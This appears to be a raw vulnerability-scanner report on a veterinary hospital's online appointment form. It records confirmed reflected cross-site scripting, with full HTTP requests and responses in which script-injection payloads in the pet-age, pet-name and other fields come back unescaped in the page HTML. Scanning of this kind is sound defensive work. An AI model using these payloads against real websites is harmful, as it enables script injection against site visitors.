<link href="/css/style.css" rel="stylesheet" type="text/css" />
<script src="/js/jquery-1.3.1.js" type="text/javascript"></script>
<script src="/js/flash-embed.js" type="text/javascript"></script>
<script src="/js/_main.js" type="text/javascript"></script>
<!--[if lt IE 7]>
<link href="/css/ie.css" rel="stylesheet" type="text/css" />
<script src="/js/ie.js" type="text/javascript"></script>
<![endif]-->

<link rel="stylesheet" href="/css/jquery-ui-1.7.2.custom.css" type="text/css" /><script src="/js/forms/forms.js" type="text/javascript"></script><script src="/js/forms/appt.js" type="text/javascript"></script><script src="/js/jquery-ui-1.7.2.custom.min.js" type="text/javascript"></script></head>
<body id="appt"><script type="text/javascript">
var unica_imod_accountId=111;
var NTPT_IMGSRC = 'http://pt200243.unica.com/ntpagetag.gif';
var NTPT_HTTPSIMGSRC = 'https://pt200243.unica.com/ntpagetag.gif';
</script>
<script src="http://vca.unicaondemand.com/ods/js/imodTag.js" type="text/javascript"></script>
<div class="wrapper shadow">

<div class="header">
<a name="top"></a>
<a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html"><img id="vca-logo" src="/img/logo-vca-admin.png" height="56" width="122" alt="VCA logo" class="trans logo screen" /></a>
<h1 class="sifr">New York Veterinary Hospital</h1>
<div class="nav-primary">
<ul><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-team.html" title="Our Team">Our Team</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/services.html" title="Our Services">Our Services</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-hospital.html" title="Our Hospital">Our Hospital</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/more/events.html" title="Events">Events</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/testimonials.html" title="Testimonials">Testimonials</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/new-clients.html" title="Your First Visit">Your First Visit</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/why-vca.html" title="Our Pledge">Our Pledge</a></li></ul> </div><!-- .nav-primary -->
<ul class="nav-secondary"><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html" title="HOME">HOME</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/pet-adoptions.html" title="PET ADOPTIONS">PET ADOPTIONS</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/careers.html" title="CAREERS">CAREERS</a></li></ul> </div><!-- .header -->

<div class="body ">
<div class="main">
<div class="content">
<h2>Request an Appointment</h2> <!-- Google Website Optimizer Control Script -->
<script>
function utmx_section(){}function utmx(){}
(function(){var k='1639539707',d=document,l=d.location,c=d.cookie;function f(n){
if(c){var i=c.indexOf(n+'=');if(i>-1){var j=c.indexOf(';',i);return escape(c.substring(i+n.
length+1,j<0?c.length:j))}}}var x=f('__utmx'),xx=f('__utmxx'),h=l.hash;
d.write('<sc'+'ript src="'+
'http'+(l.protocol=='https:'?'s://ssl':'://www')+'.google-analytics.com'
+'/siteopt.js?v=1&utmxkey='+k+'&utmx='+(x?x:'')+'&utmxx='+(xx?xx:'')+'&utmxtime='
+new Date().valueOf()+(h?'&utmxhash='+escape(h.substr(1)):'')+
'" type="text/javascript" charset="utf-8"></sc'+'ript>')})();
</script>
<!-- End of Google Website Optimizer Control Script -->
<strong></strong><p>Use the form below to request an appointment. One of our team members will call you back to confirm your appointment.</p> <form action="/new-york-veterinary-hospital/appt/thank-you.html" method="POST" name="appt-form" id="appt-form" class="input-form">
<div id="error-msg"></div>
<div class="required">* Required Fields.</div>

<!-- NAME -->
<div>
<div class="floatleft">
<label for="fname" class="req">First Name
<span class="msg">You cannot use special characters in the First Name.</span>
<span class="msg-req">First Name is a required field.</span>
</label><br />
<input name="fname" id="fname" type="text" size="30" class="req" maxlength="50" value="Ronald Smith" />
</div>
<div>
<label for="lname" class="req">Last Name
<span class="msg">You cannot use special characters in the Last Name.</span>
<span class="msg-req">Last Name is a required field.</span>
</label><br />
<input name="lname" id="lname" type="text" size="30" class="req" maxlength="50" value="Ronald Smith" />
</div>
</div>


<script>utmx_section("Date Select")</script>
<!-- PREFERRED DATE AND TIME -->
<div>
<div class="floatleft">
<label for="date1" class="req">First Preferred Date
<span class="msg">Please use a valid First Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for First Preferred Date.</span>
<span class="msg-req">First Preferred Date is a required field.</span>
</label><br />
<input name="date1" id="date1" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time1">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time1" id="time1" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="am1" value="AM" checked="checked" />
<label for="am1">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="pm1" value="PM" />
<label for="pm1">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date2">Second Preferred Date
<span class="msg">Please use a valid Second Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Second Preferred Date.</span>
</label><br />
<input name="date2" id="date2" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time2">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time2" id="time2" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="am2" value="AM" checked="checked" />
<label for="am2">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="pm2" value="PM" />
<label for="pm2">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date3">Third Preferred Date
<span class="msg">Please use a valid Third Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Third Preferred Date.</span>
</label><br />
<input name="date3" id="date3" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time3">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time3" id="time3" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="am3" value="AM" checked="checked" />
<label for="am3">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="pm3" value="PM" />
<label for="pm3">PM</label>
</div>
<br class="clear" />
</div>
</noscript><!-- END utmx_section("Date Select") -->

<!-- PHONE -->
<div>Please give us at least one phone number so we can call you back to confirm the availability of this appointment.</div>
<div>
<div class="floatleft">
<label for="phone" class="req">Daytime Phone
<span class="msg">Please use a valid Daytime Phone format, eg. ###-###-####.</span>
<span class="msg-req">Preferred Phone is a required field.</span>
</label><br />
<input name="phone" id="phone" type="text" size="30" maxlength="20" value="3" />
</div>
<div>
<label for="altphone">Alternate Phone <span class="small">(In case we can't reach you)
<span class="msg">Please use a valid Alternate Phone format, eg. ###-###-####.</span>
</label><br />
<input name="altphone" id="altphone" type="text" size="30" maxlength="20" value="3" />
</div>
</div>

<!-- EMAIL -->
<div>
<label for="email" class="req">Email Address
<span class="msg">Please use a valid Email Address format, eg. abc@xyz.com.</span>
<span class="msg-req">Email Address is a required field.</span>
</label><br />
<input name="email" id="email" type="text" size="40" maxlength="255" value="netsparker@example.com" />
</div>

<script>utmx_section("Not Required")</script>
<!-- PREFERRED DOCTOR -->
<div>
<label for="doctor">Select your preferred professional
<span class="msg">Please select a doctor.</span>
</label><br />
<select name="doctor" id="doctor" style="width:20em;">
<option value=""></option>
<option value="Kimberly A. Whitfield - Veterinarian">Kimberly A. Whitfield - Veterinarian</option> </select>
</div>

<!-- REASON FOR VISIT -->
<div>
<label for="reason">Reason for visit
<span class="msg-req">Please select a reason for visit.</span>
</label><br />
<select name="reason" id="reason" style="width:20em;">
<option value=""></option>
<option value="Wellness Exam">Wellness Exam</option><option value="Routine Dental Care">Routine Dental Care</option><option value="Vaccine Booster">Vaccine Booster</option><option value="My Pet Is Sick">My Pet Is Sick</option><option value="Other">Other</option> </select>
</div>

<!-- PET INFO -->
<div>
<div class="floatleft">
<label for="pettype">Pet Type</label><br />
<select name="pettype" id="pettype" style="width:11em;">
<option value=""></option>
<option value="Dog">Dog</option><option value="Cat">Cat</option><option value="Bird">Bird</option><option value="Rabbit">Rabbit</option><option value="Other">Other</option> </select>
</div>
<div>
<label for="other">Other
<span class="msg">You cannot use special characters in the Other Pet Type.</span>
</label><br />
<input name="other" id="other" type="text" size="40" class="req" maxlength="255" value="'"--></style></script><script>netsparker(0x000EC0)</script>" />
</div>
</div>
<div>
<div class="floatleft">
<label for="petname">Pet Name
<span class="msg">You cannot use special characters in the Pet Name.</span>
</label><br />
<input name="petname" id="petname" type="text" size="20" maxlength="50" value="Ronald Smith" />
</div>
<div>
<label for="petage">Pet Age
<span class="msg">You cannot use special characters in the Pet Age.</span>
</label><br />
<input name="petage" id="petage" type="text" size="15" maxlength="50" value="3" />
</div>
</div>
</noscript><!-- END utmx_section("Not Required") -->

<!-- CURRENT OR NEW CLIENT -->
<div>
<div class="radio-label">
<input type="radio" name="client" id="current_client" value="current" disabled="disabled" />
<label for="current_client">I am currently a client.</label>
</div>
<input type="radio" name="client" id="new_client" value="new" disabled="disabled" checked="checked" />
<label for="new_client">I am a new client.</label>
</div>

<!-- OP..
- /new-york-veterinary-hospital/appt.html

/new-york-veterinary-hospital/appt.html CONFIRMED

http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html?altphone=3&ampm1=AM&ampm2=AM&ampm..

Parameters

Parameter Type Value
altphone GET 3
ampm1 GET AM
ampm2 GET AM
ampm3 GET AM
appt_type GET appt
client GET current
date1 GET 3
date2 GET 3
date3 GET 3
doctor GET 3
email GET netsparker@example.com
fname GET Ronald Smith
guid GET 3
ipaddress GET 173.193.214.243
lname GET Ronald Smith
optin GET 3
other GET 3
petage GET '"--></style></script><script>alert(0x000EC1)</script>
petname GET Ronald Smith
pettype GET 3
phone GET 3
reason GET 3
referer GET 3
source GET new-york-veterinary-hospital
submit GET Request An Appointment
time1 GET 3
time2 GET 3
time3 GET 3
token GET 4d0e7596cb53a856bb6ebce5442fa590
uri GET http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html
useragent GET Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)

Request

GET /new-york-veterinary-hospital/appt.html?altphone=3&ampm1=AM&ampm2=AM&ampm3=AM&appt_type=appt&client=current&date1=3&date2=3&date3=3&doctor=3&email=netsparker@example.com&fname=Ronald%20Smith&guid=3&ipaddress=173.193.214.243&lname=Ronald%20Smith&optin=3&other=3&petage='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000EC1)%3C/script%3E&petname=Ronald%20Smith&pettype=3&phone=3&reason=3&referer=3&source=new-york-veterinary-hospital&submit=Request+An+Appointment&time1=3&time2=3&time3=3&token=4d0e7596cb53a856bb6ebce5442fa590&uri=http%3a%2f%2fwww.vcahospitals.com%2fnew-york-veterinary-hospital%2fappt.html&useragent=Mozilla%2f4.0+(compatible%3b+MSIE+6.0%3b+Windows+NT+5.1%3b+SV1%3b+.NET+CLR+1.1.4322) HTTP/1.1
Referer: http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.vcahospitals.com
Cookie: PHPSESSID=1v8c6mvg7rokholn56q5o5oa76
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 05 Mar 2011 12:48:36 GMT
Server: Apache/2.2.15 (Win32) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />
<title>New York Veterinary Hospital | Request an Appointment</title>
<meta name="description" content="New York Veterinary Hospital, New York, NY | Now VCA clients can Request an Appointment online. Choose a date and time convenient for you and your pet, and VCA will confirm your appointment." />
<meta name="keywords" content="New York Veterinary Hospital, New York, NY, [vca, animal hospital, vet, veterinarians, appointment, schedule, pet exam" />
<meta name="robots" content="index,follow" />
<meta name="revisit-after" content="7_days" />
<meta name="author" content="Designory.com" />
<meta http-equiv="imagetoolbar" content="no" />
<link href="/css/reset.css" rel="stylesheet" type="text/css" />
<link href="/css/style.css" rel="stylesheet" type="text/css" />
<script src="/js/jquery-1.3.1.js" type="text/javascript"></script>
<script src="/js/flash-embed.js" type="text/javascript"></script>
<script src="/js/_main.js" type="text/javascript"></script>
<!--[if lt IE 7]>
<link href="/css/ie.css" rel="stylesheet" type="text/css" />
<script src="/js/ie.js" type="text/javascript"></script>
<![endif]-->

<link rel="stylesheet" href="/css/jquery-ui-1.7.2.custom.css" type="text/css" /><script src="/js/forms/forms.js" type="text/javascript"></script><script src="/js/forms/appt.js" type="text/javascript"></script><script src="/js/jquery-ui-1.7.2.custom.min.js" type="text/javascript"></script></head>
<body id="appt"><script type="text/javascript">
var unica_imod_accountId=111;
var NTPT_IMGSRC = 'http://pt200243.unica.com/ntpagetag.gif';
var NTPT_HTTPSIMGSRC = 'https://pt200243.unica.com/ntpagetag.gif';
</script>
<script src="http://vca.unicaondemand.com/ods/js/imodTag.js" type="text/javascript"></script>
<div class="wrapper shadow">

<div class="header">
<a name="top"></a>
<a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html"><img id="vca-logo" src="/img/logo-vca-admin.png" height="56" width="122" alt="VCA logo" class="trans logo screen" /></a>
<h1 class="sifr">New York Veterinary Hospital</h1>
<div class="nav-primary">
<ul><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-team.html" title="Our Team">Our Team</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/services.html" title="Our Services">Our Services</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-hospital.html" title="Our Hospital">Our Hospital</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/more/events.html" title="Events">Events</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/testimonials.html" title="Testimonials">Testimonials</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/new-clients.html" title="Your First Visit">Your First Visit</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/why-vca.html" title="Our Pledge">Our Pledge</a></li></ul> </div><!-- .nav-primary -->
<ul class="nav-secondary"><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html" title="HOME">HOME</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/pet-adoptions.html" title="PET ADOPTIONS">PET ADOPTIONS</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/careers.html" title="CAREERS">CAREERS</a></li></ul> </div><!-- .header -->

<div class="body ">
<div class="main">
<div class="content">
<h2>Request an Appointment</h2> <!-- Google Website Optimizer Control Script -->
<script>
function utmx_section(){}function utmx(){}
(function(){var k='1639539707',d=document,l=d.location,c=d.cookie;function f(n){
if(c){var i=c.indexOf(n+'=');if(i>-1){var j=c.indexOf(';',i);return escape(c.substring(i+n.
length+1,j<0?c.length:j))}}}var x=f('__utmx'),xx=f('__utmxx'),h=l.hash;
d.write('<sc'+'ript src="'+
'http'+(l.protocol=='https:'?'s://ssl':'://www')+'.google-analytics.com'
+'/siteopt.js?v=1&utmxkey='+k+'&utmx='+(x?x:'')+'&utmxx='+(xx?xx:'')+'&utmxtime='
+new Date().valueOf()+(h?'&utmxhash='+escape(h.substr(1)):'')+
'" type="text/javascript" charset="utf-8"></sc'+'ript>')})();
</script>
<!-- End of Google Website Optimizer Control Script -->
<strong></strong><p>Use the form below to request an appointment. One of our team members will call you back to confirm your appointment.</p> <form action="/new-york-veterinary-hospital/appt/thank-you.html" method="POST" name="appt-form" id="appt-form" class="input-form">
<div id="error-msg"></div>
<div class="required">* Required Fields.</div>

<!-- NAME -->
<div>
<div class="floatleft">
<label for="fname" class="req">First Name
<span class="msg">You cannot use special characters in the First Name.</span>
<span class="msg-req">First Name is a required field.</span>
</label><br />
<input name="fname" id="fname" type="text" size="30" class="req" maxlength="50" value="Ronald Smith" />
</div>
<div>
<label for="lname" class="req">Last Name
<span class="msg">You cannot use special characters in the Last Name.</span>
<span class="msg-req">Last Name is a required field.</span>
</label><br />
<input name="lname" id="lname" type="text" size="30" class="req" maxlength="50" value="Ronald Smith" />
</div>
</div>


<script>utmx_section("Date Select")</script>
<!-- PREFERRED DATE AND TIME -->
<div>
<div class="floatleft">
<label for="date1" class="req">First Preferred Date
<span class="msg">Please use a valid First Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for First Preferred Date.</span>
<span class="msg-req">First Preferred Date is a required field.</span>
</label><br />
<input name="date1" id="date1" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time1">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time1" id="time1" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="am1" value="AM" checked="checked" />
<label for="am1">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="pm1" value="PM" />
<label for="pm1">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date2">Second Preferred Date
<span class="msg">Please use a valid Second Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Second Preferred Date.</span>
</label><br />
<input name="date2" id="date2" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time2">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time2" id="time2" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="am2" value="AM" checked="checked" />
<label for="am2">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="pm2" value="PM" />
<label for="pm2">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date3">Third Preferred Date
<span class="msg">Please use a valid Third Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Third Preferred Date.</span>
</label><br />
<input name="date3" id="date3" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time3">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time3" id="time3" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="am3" value="AM" checked="checked" />
<label for="am3">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="pm3" value="PM" />
<label for="pm3">PM</label>
</div>
<br class="clear" />
</div>
</noscript><!-- END utmx_section("Date Select") -->

<!-- PHONE -->
<div>Please give us at least one phone number so we can call you back to confirm the availability of this appointment.</div>
<div>
<div class="floatleft">
<label for="phone" class="req">Daytime Phone
<span class="msg">Please use a valid Daytime Phone format, eg. ###-###-####.</span>
<span class="msg-req">Preferred Phone is a required field.</span>
</label><br />
<input name="phone" id="phone" type="text" size="30" maxlength="20" value="3" />
</div>
<div>
<label for="altphone">Alternate Phone <span class="small">(In case we can't reach you)
<span class="msg">Please use a valid Alternate Phone format, eg. ###-###-####.</span>
</label><br />
<input name="altphone" id="altphone" type="text" size="30" maxlength="20" value="3" />
</div>
</div>

<!-- EMAIL -->
<div>
<label for="email" class="req">Email Address
<span class="msg">Please use a valid Email Address format, eg. abc@xyz.com.</span>
<span class="msg-req">Email Address is a required field.</span>
</label><br />
<input name="email" id="email" type="text" size="40" maxlength="255" value="netsparker@example.com" />
</div>

<script>utmx_section("Not Required")</script>
<!-- PREFERRED DOCTOR -->
<div>
<label for="doctor">Select your preferred professional
<span class="msg">Please select a doctor.</span>
</label><br />
<select name="doctor" id="doctor" style="width:20em;">
<option value=""></option>
<option value="Kimberly A. Whitfield - Veterinarian">Kimberly A. Whitfield - Veterinarian</option> </select>
</div>

<!-- REASON FOR VISIT -->
<div>
<label for="reason">Reason for visit
<span class="msg-req">Please select a reason for visit.</span>
</label><br />
<select name="reason" id="reason" style="width:20em;">
<option value=""></option>
<option value="Wellness Exam">Wellness Exam</option><option value="Routine Dental Care">Routine Dental Care</option><option value="Vaccine Booster">Vaccine Booster</option><option value="My Pet Is Sick">My Pet Is Sick</option><option value="Other">Other</option> </select>
</div>

<!-- PET INFO -->
<div>
<div class="floatleft">
<label for="pettype">Pet Type</label><br />
<select name="pettype" id="pettype" style="width:11em;">
<option value=""></option>
<option value="Dog">Dog</option><option value="Cat">Cat</option><option value="Bird">Bird</option><option value="Rabbit">Rabbit</option><option value="Other">Other</option> </select>
</div>
<div>
<label for="other">Other
<span class="msg">You cannot use special characters in the Other Pet Type.</span>
</label><br />
<input name="other" id="other" type="text" size="40" class="req" maxlength="255" value="3" />
</div>
</div>
<div>
<div class="floatleft">
<label for="petname">Pet Name
<span class="msg">You cannot use special characters in the Pet Name.</span>
</label><br />
<input name="petname" id="petname" type="text" size="20" maxlength="50" value="Ronald Smith" />
</div>
<div>
<label for="petage">Pet Age
<span class="msg">You cannot use special characters in the Pet Age.</span>
</label><br />
<input name="petage" id="petage" type="text" size="15" maxlength="50" value="'"--></style></script><script>netsparker(0x000EC1)</script>" />
</div>
</div>
</noscript><!-- END utmx_section("Not Required") -->

<!-- CURRENT OR NEW CLIENT -->
<div>
<div class="radio-label">
<input type="radio" name="client" id="current_client" value="current" disabled="disabled" />
<label for="current_client">I am currently a client.</label>
</div>
<input type="radio" name="client" id="new_client" value="new" disabled="disabled" checked="checked" />
<label for="new_client">I am a new client.</label>
</div>

<!-- OP..
- /new-york-veterinary-hospital/appt.html

/new-york-veterinary-hospital/appt.html CONFIRMED

http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html?altphone=3&ampm1=AM&ampm2=AM&ampm..

Parameters

Parameter Type Value
altphone GET 3
ampm1 GET AM
ampm2 GET AM
ampm3 GET AM
appt_type GET appt
client GET current
date1 GET 3
date2 GET 3
date3 GET 3
doctor GET 3
email GET netsparker@example.com
fname GET Ronald Smith
guid GET 3
ipaddress GET 173.193.214.243
lname GET Ronald Smith
optin GET 3
other GET 3
petage GET 3
petname GET '"--></style></script><script>alert(0x000EC2)</script>
pettype GET 3
phone GET 3
reason GET 3
referer GET 3
source GET new-york-veterinary-hospital
submit GET Request An Appointment
time1 GET 3
time2 GET 3
time3 GET 3
token GET a10511525a3edd0ada08d3684428695c
uri GET http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html
useragent GET Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)

Request

GET /new-york-veterinary-hospital/appt.html?altphone=3&ampm1=AM&ampm2=AM&ampm3=AM&appt_type=appt&client=current&date1=3&date2=3&date3=3&doctor=3&email=netsparker@example.com&fname=Ronald%20Smith&guid=3&ipaddress=173.193.214.243&lname=Ronald%20Smith&optin=3&other=3&petage=3&petname='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000EC2)%3C/script%3E&pettype=3&phone=3&reason=3&referer=3&source=new-york-veterinary-hospital&submit=Request+An+Appointment&time1=3&time2=3&time3=3&token=a10511525a3edd0ada08d3684428695c&uri=http%3a%2f%2fwww.vcahospitals.com%2fnew-york-veterinary-hospital%2fappt.html&useragent=Mozilla%2f4.0+(compatible%3b+MSIE+6.0%3b+Windows+NT+5.1%3b+SV1%3b+.NET+CLR+1.1.4322) HTTP/1.1
Referer: http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.vcahospitals.com
Cookie: PHPSESSID=1v8c6mvg7rokholn56q5o5oa76
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 05 Mar 2011 12:48:40 GMT
Server: Apache/2.2.15 (Win32) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />
<title>New York Veterinary Hospital | Request an Appointment</title>
<meta name="description" content="New York Veterinary Hospital, New York, NY | Now VCA clients can Request an Appointment online. Choose a date and time convenient for you and your pet, and VCA will confirm your appointment." />
<meta name="keywords" content="New York Veterinary Hospital, New York, NY, [vca, animal hospital, vet, veterinarians, appointment, schedule, pet exam" />
<meta name="robots" content="index,follow" />
<meta name="revisit-after" content="7_days" />
<meta name="author" content="Designory.com" />
<meta http-equiv="imagetoolbar" content="no" />
<link href="/css/reset.css" rel="stylesheet" type="text/css" />
<link href="/css/style.css" rel="stylesheet" type="text/css" />
<script src="/js/jquery-1.3.1.js" type="text/javascript"></script>
<script src="/js/flash-embed.js" type="text/javascript"></script>
<script src="/js/_main.js" type="text/javascript"></script>
<!--[if lt IE 7]>
<link href="/css/ie.css" rel="stylesheet" type="text/css" />
<script src="/js/ie.js" type="text/javascript"></script>
<![endif]-->

<link rel="stylesheet" href="/css/jquery-ui-1.7.2.custom.css" type="text/css" /><script src="/js/forms/forms.js" type="text/javascript"></script><script src="/js/forms/appt.js" type="text/javascript"></script><script src="/js/jquery-ui-1.7.2.custom.min.js" type="text/javascript"></script></head>
<body id="appt"><script type="text/javascript">
var unica_imod_accountId=111;
var NTPT_IMGSRC = 'http://pt200243.unica.com/ntpagetag.gif';
var NTPT_HTTPSIMGSRC = 'https://pt200243.unica.com/ntpagetag.gif';
</script>
<script src="http://vca.unicaondemand.com/ods/js/imodTag.js" type="text/javascript"></script>
<div class="wrapper shadow">

<div class="header">
<a name="top"></a>
<a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html"><img id="vca-logo" src="/img/logo-vca-admin.png" height="56" width="122" alt="VCA logo" class="trans logo screen" /></a>
<h1 class="sifr">New York Veterinary Hospital</h1>
<div class="nav-primary">
<ul><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-team.html" title="Our Team">Our Team</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/services.html" title="Our Services">Our Services</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-hospital.html" title="Our Hospital">Our Hospital</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/more/events.html" title="Events">Events</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/testimonials.html" title="Testimonials">Testimonials</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/new-clients.html" title="Your First Visit">Your First Visit</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/why-vca.html" title="Our Pledge">Our Pledge</a></li></ul> </div><!-- .nav-primary -->
<ul class="nav-secondary"><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html" title="HOME">HOME</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/pet-adoptions.html" title="PET ADOPTIONS">PET ADOPTIONS</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/careers.html" title="CAREERS">CAREERS</a></li></ul> </div><!-- .header -->

<div class="body ">
<div class="main">
<div class="content">
<h2>Request an Appointment</h2> <!-- Google Website Optimizer Control Script -->
<script>
function utmx_section(){}function utmx(){}
(function(){var k='1639539707',d=document,l=d.location,c=d.cookie;function f(n){
if(c){var i=c.indexOf(n+'=');if(i>-1){var j=c.indexOf(';',i);return escape(c.substring(i+n.
length+1,j<0?c.length:j))}}}var x=f('__utmx'),xx=f('__utmxx'),h=l.hash;
d.write('<sc'+'ript src="'+
'http'+(l.protocol=='https:'?'s://ssl':'://www')+'.google-analytics.com'
+'/siteopt.js?v=1&utmxkey='+k+'&utmx='+(x?x:'')+'&utmxx='+(xx?xx:'')+'&utmxtime='
+new Date().valueOf()+(h?'&utmxhash='+escape(h.substr(1)):'')+
'" type="text/javascript" charset="utf-8"></sc'+'ript>')})();
</script>
<!-- End of Google Website Optimizer Control Script -->
<strong></strong><p>Use the form below to request an appointment. One of our team members will call you back to confirm your appointment.</p> <form action="/new-york-veterinary-hospital/appt/thank-you.html" method="POST" name="appt-form" id="appt-form" class="input-form">
<div id="error-msg"></div>
<div class="required">* Required Fields.</div>

<!-- NAME -->
<div>
<div class="floatleft">
<label for="fname" class="req">First Name
<span class="msg">You cannot use special characters in the First Name.</span>
<span class="msg-req">First Name is a required field.</span>
</label><br />
<input name="fname" id="fname" type="text" size="30" class="req" maxlength="50" value="Ronald Smith" />
</div>
<div>
<label for="lname" class="req">Last Name
<span class="msg">You cannot use special characters in the Last Name.</span>
<span class="msg-req">Last Name is a required field.</span>
</label><br />
<input name="lname" id="lname" type="text" size="30" class="req" maxlength="50" value="Ronald Smith" />
</div>
</div>


<script>utmx_section("Date Select")</script>
<!-- PREFERRED DATE AND TIME -->
